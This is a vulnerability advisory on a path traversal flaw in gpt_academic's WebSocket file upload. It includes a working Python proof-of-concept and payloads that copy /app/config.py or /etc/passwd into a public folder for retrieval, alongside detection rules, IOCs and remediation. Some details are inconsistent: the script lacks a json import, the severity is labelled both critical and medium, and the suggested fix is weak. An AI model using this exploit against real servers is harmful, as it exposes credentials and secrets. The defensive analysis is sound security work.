CVE-2024-10948

Executive Summary

CVE-2024-10948 is a critical path traversal vulnerability in the binary-husky/gpt_academic project, affecting its file upload functionality. The flaw allows any unauthenticated attacker to read arbitrary files from the server's filesystem by manipulating a WebSocket request during file upload. By replacing the intended file path with a path to a sensitive file (e.g., config.py), the server copies that file to a publicly accessible private_upload directory, enabling retrieval via a simple GET request. This can lead to exposure of credentials, API keys, configuration secrets, and other sensitive data. The vulnerability is currently unpatched, with no official fix available.

Supply Chain & Package Security

This vulnerability affects the gpt_academic Python package, which is distributed via PyPI and GitHub. Users who have installed this package from PyPI or cloned the repository are at risk. The lack of a patch means that all versions are potentially vulnerable, and supply chain integrity is compromised until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the impact on confidentiality is high, the lack of integrity or availability impact reduces the overall severity. However, the ease of exploitation and potential for credential theft elevates the risk for affected deployments.

Deep Dive & Mechanics

The vulnerability resides in the file upload handler of gpt_academic, which uses WebSocket connections to process file transfers. The application does not properly validate or sanitize the file path provided by the client. When a user uploads a file, the server receives a WebSocket message containing the file content and a target path. An attacker can intercept this WebSocket message (e.g., via a proxy or by crafting a malicious client) and replace the file_path parameter with an absolute path to a sensitive file, such as /app/config.py or ../../etc/passwd.

The server then copies the file from the attacker-specified path to the private_upload directory, preserving the original filename. The server responds with the new path (e.g., /private_upload/config.py), which is accessible via a GET request without authentication. This allows the attacker to retrieve the contents of any file the server process has read access to.

Key Technical Details:

• Attack Vector: WebSocket message manipulation during file upload.
• Vulnerable Component: File upload handler (likely in upload.py or similar).
• Root Cause: Lack of path validation and sanitization.
• Impact: Arbitrary file read, leading to information disclosure.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code pattern to a secure implementation.

Vulnerable Code (Conceptual):

# Vulnerable: No path validation
async def handle_upload(websocket, path):
    data = await websocket.recv()
    file_path = data['file_path']  # Attacker-controlled
    dest = os.path.join('private_upload', os.path.basename(file_path))
    shutil.copy2(file_path, dest)  # Copies arbitrary file
    await websocket.send({'path': dest})

Patched Code (Conceptual):

# Patched: Validate and restrict path
import os
ALLOWED_DIR = os.path.abspath('uploads')

async def handle_upload(websocket, path):
    data = await websocket.recv()
    file_path = data['file_path']
    # Ensure the file is within allowed directory
    abs_path = os.path.abspath(file_path)
    if not abs_path.startswith(ALLOWED_DIR):
        await websocket.send({'error': 'Invalid path'})
        return
    dest = os.path.join('private_upload', os.path.basename(file_path))
    shutil.copy2(abs_path, dest)
    await websocket.send({'path': dest})

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of gpt_academic (latest version).
• Network access to the WebSocket endpoint (typically ws://target:port/upload).
• A WebSocket client (e.g., websocat, Python websockets, or Burp Suite).

Exploit Steps:

1. Connect to the WebSocket endpoint.
2. Craft a JSON message with a malicious file_path:

   {
     "action": "upload",
     "file_path": "/app/config.py",
     "content": ""
   }
   

3. Send the message. The server will copy /app/config.py to private_upload/config.py.
4. Retrieve the file via HTTP GET: http://target:port/private_upload/config.py.

Example using Python:

import asyncio
import websockets

async def exploit():
    uri = "ws://target:port/upload"
    async with websockets.connect(uri) as websocket:
        payload = {
            "action": "upload",
            "file_path": "/app/config.py",
            "content": ""
        }
        await websocket.send(json.dumps(payload))
        response = await websocket.recv()
        print(f"Response: {response}")

asyncio.run(exploit())

Blue Team (Detection & Defense)

Detection:

• Monitor WebSocket connections for anomalous file_path values containing absolute paths or directory traversal sequences (../).
• Alert on GET requests to /private_upload/ for files that were not originally uploaded by legitimate users.
• Use file integrity monitoring to detect unauthorized copies of sensitive files.

Defense:

• Implement strict path validation as shown in the patched code.
• Restrict the WebSocket endpoint to authenticated users only.
• Use a Web Application Firewall (WAF) to block requests with path traversal patterns.
• Regularly audit file access logs for unusual activity.

Indicators of Compromise (IOCs)

• Network IOCs:
  • WebSocket messages containing file_path with absolute paths (e.g., /etc/passwd, /app/config.py).
  • HTTP GET requests to /private_upload/ for files like config.py, .env, settings.py.
• File System IOCs:
  • Unexpected files in the private_upload directory that match sensitive system files.
  • Modified timestamps on sensitive files (e.g., config.py) due to copy operations.
• Log IOCs:
  • WebSocket connection logs showing unusual file_path values.
  • Access logs with repeated requests to /private_upload/ for the same file.

Detection Engineering

YARA Rule

rule CVE_2024_10948_WebSocket_PathTraversal {
    meta:
        description = "Detects path traversal attempts in WebSocket messages targeting gpt_academic"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10948"
    strings:
        $ws_pattern = /"file_path"\s*:\s*"\/[^"]*"/ nocase
        $traversal = /\.\.\// nocase
    condition:
        $ws_pattern and $traversal
}

Sigma Rule

title: CVE-2024-10948 - Path Traversal in gpt_academic WebSocket Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in WebSocket messages to gpt_academic
author: Valters IT
logsource:
    category: websocket
    product: gpt_academic
detection:
    selection:
        message|contains|all:
            - 'file_path'
            - '/'
            - '..'
    condition: selection
falsepositives:
    - Legitimate file paths that contain slashes (unlikely)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-10948 - Path Traversal in gpt_academic WebSocket Upload"; flow:to_server,established; content:"file_path"; content:"/"; content:".."; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the file upload feature if not essential, or restrict access to trusted users only.
2. Apply a virtual patch using a WAF to block WebSocket messages containing absolute paths or directory traversal sequences.
3. Monitor logs for signs of exploitation and rotate any exposed credentials.

Long-Term Fix:

• The vendor must implement proper path validation and sanitization in the upload handler.
• Until a patch is released, consider forking the repository and applying the patched code shown above.
• Use a reverse proxy (e.g., Nginx) to restrict access to the /private_upload/ directory.

Workaround:

• Modify the application code to whitelist allowed directories and reject any path outside of them.
• Implement authentication for the WebSocket endpoint.

Valters IT
Securing Digital Frontiers